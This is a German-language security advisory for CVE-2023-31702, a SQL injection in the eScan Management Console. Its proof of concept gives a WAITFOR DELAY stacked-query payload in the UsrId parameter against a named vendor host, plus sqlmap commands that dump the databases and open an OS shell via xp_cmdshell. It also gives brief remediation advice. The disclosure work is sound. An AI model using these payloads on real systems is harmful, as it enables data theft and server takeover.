CVE-2023-31702 — SQL-Injection in der eScan Management Console (authentifiziert)

Übersicht

CVE-2023-31702 ist eine authentifizierte SQL-Injection-Schwachstelle, die in MicroWorld Technologies eScan Management Console Version 14.0.1400.2281 entdeckt wurde. Die Schwachstelle besteht im GetUserCurrentPwd-Endpunkt, wobei der Parameter UsrId direkt in eine SQL-Abfrage übernommen wird, ohne ordnungsgemäße Bereinigung oder Verwendung parametrisierter Abfragen. Ein authentifizierter Angreifer kann diese Schwachstelle ausnutzen, um eine zeitbasierte Blind-SQL-Injection durchzuführen, die gesamte Backend-Datenbank auszulesen und letztendlich eine interaktive OS-Befehlsshell auf dem zugrunde liegenden Microsoft SQL Server zu erhalten — was zu einer vollständigen Kompromittierung des Systems führt.

Details zur Schwachstelle

Feld	Details
CVE-ID	CVE-2023-31702
Schwachstellentyp	SQL Injection (zeitbasierte Blind / Gestapelte Abfragen)
Betroffenes Produkt	MicroWorld Technologies eScan Management Console
Betroffene Version	14.0.1400.2281
Gefährdeter Endpunkt	`/ewconsole/ewconsole.dll/GetUserCurrentPwd`
Gefährdeter Parameter	`UsrId`
Authentifizierung	Erforderlich (gültige Konsolenanmeldedaten)
Getestet auf	Windows
CVSS-v3.1-Wert	8.8 (Hoch)
CVSS-Vektor	`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`
Gemeldet am	16. Mai 2023
Autor	Sahil Ojha

Betroffene Software

Feld	Details
Anbieter	MicroWorld Technologies
Produkt	eScan Management Console
Website des Anbieters	https://www.escanav.com
Software-Link	https://cl.escanav.com/ewconsole.dll
Plattform	Windows

Beschreibung der Schwachstelle

Die eScan Management Console bietet eine webbasierte Oberfläche zur Verwaltung der Endpoint-Sicherheit im Netzwerk einer Organisation. Die Funktion „Benutzerprofil anzeigen" stellt einen REST-ähnlichen Endpunkt bereit:

/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=<ID>&cnt=<counter>

Der Parameter UsrId wird ohne Validierung, Escaping oder Verwendung parametrisierter Abfragen in eine Backend-SQL-Abfrage aufgenommen. Dies ermöglicht es einem authentifizierten Angreifer, beliebige SQL-Anweisungen in die Abfrage einzuschleusen, was zu Folgendem führt:

Zeitbasierte Blind-SQL-Injection — Verwendung von WAITFOR DELAY, um die Ausnutzbarkeit zu bestätigen.
Gestapelte Abfragen (Stacked Queries) — ermöglicht Payloads mit mehreren Anweisungen.
Vollständiger Datenbank-Dump — Extraktion aller Tabellen, Benutzer, Anmeldedaten und sensiblen Daten aus dem SQL-Server-Backend.
OS-Befehlsausführung — Nutzung der gespeicherten Prozedur xp_cmdshell des SQL Servers (aktiviert über sp_configure), um beliebige Betriebssystembefehle auf dem Server mit den Berechtigungen des SQL-Server-Dienstkontos auszuführen.

Auswirkungen

Eine erfolgreiche Ausnutzung dieser Schwachstelle ermöglicht es einem Angreifer:

🔴 Die gesamte SQL-Server-Datenbank auszulesen, einschließlich Benutzeranmeldedaten, Konfigurationsdaten und sensibler Unternehmensinformationen.
🔴 Eine interaktive OS-Shell auf dem Windows-Server zu erhalten, auf dem die SQL-Server-Instanz gehostet wird.
🔴 Beliebige OS-Befehle auszuführen (z. B. Hintertür-Konten erstellen, Daten exfiltrieren, zu internen Netzwerkressourcen wechseln).
🔴 Den eScan-Verwaltungsserver vollständig zu kompromittieren und möglicherweise alle von ihm verwalteten Endpunkte.

⚠️ Hinweis: Der Angreifer muss zunächst gültige Anmeldedaten für die eScan Management Console erlangen. Nach erfolgreicher Authentifizierung ist die Ausnutzung jedoch unkompliziert und erfordert keine erhöhten Konsolenrechte.

Proof of Concept

Schritt 1 — Zugriff auf den gefährdeten Endpunkt

Nach der Authentifizierung an der eScan Management Console navigieren Sie zur folgenden URL:

https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493

Dies gibt die aktuellen Benutzerprofildaten zurück und bestätigt, dass der Endpunkt erreichbar ist.

Gefährdeter Endpunkt

Schritt 2 — SQL-Injection mit zeitbasiertem Payload bestätigen

Fügen Sie den folgenden Zeitverzögerungs-Payload in den Parameter UsrId ein:

https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1;WAITFOR DELAY '0:0:5'--&cnt=4176

Aufbau des Payloads:

; — beendet die ursprüngliche SQL-Anweisung und beginnt eine neue (gestapelte Abfrage).
WAITFOR DELAY '0:0:5' — weist den SQL Server an, 5 Sekunden zu warten, bevor er antwortet.
-- — kommentiert den Rest der ursprünglichen Abfrage aus, um Syntaxfehler zu verhindern.

Wenn die Antwort des Servers um etwa 5 Sekunden verzögert wird, ist die Injektion bestätigt.

Zeitbasierte Injektion bestätigt

Schritt 3 — Datenbanken mit SQLMap auslesen

Sobald die Blind-SQL-Injection bestätigt ist, kann die gesamte Datenbank mithilfe von SQLMap ausgelesen werden:

sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
  --cookie="<session_cookie>" \
  --dbms=mssql \
  --dbs \
  --batch

Dies listet alle Datenbanken auf, die auf dem Backend-SQL-Server gehostet werden.

Schritt 4 — Eine OS-Shell über SQLMap erhalten

SQLMap kann den Angriff außerdem auf die Ausführung von Befehlen auf OS-Ebene ausweiten, indem xp_cmdshell aktiviert und genutzt wird:

sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
  --cookie="<session_cookie>" \
  --dbms=mssql \
  --os-shell \
  --batch

Dies richtet eine interaktive OS-Shell auf dem SQL-Server-Host ein.

OS-Shell über SQLMap erhalten

Schritt 5 — OS-Befehle auf dem Server ausführen

Mit eingerichteter OS-Shell können beliebige Windows-Befehle auf dem Server ausgeführt werden:

Ausführen von OS-Befehlen

Behebung

Die folgenden Maßnahmen werden dringend empfohlen, um diese Schwachstelle zu beheben und abzuschwächen:

Parametrisierte Abfragen / Prepared Statements verwenden — Benutzereingaben niemals direkt in SQL-Abfragen einbetten. Verwenden Sie gebundene Parameter, um Daten von der Abfragelogik zu trennen.

CVE-2023-31702

Beliebteste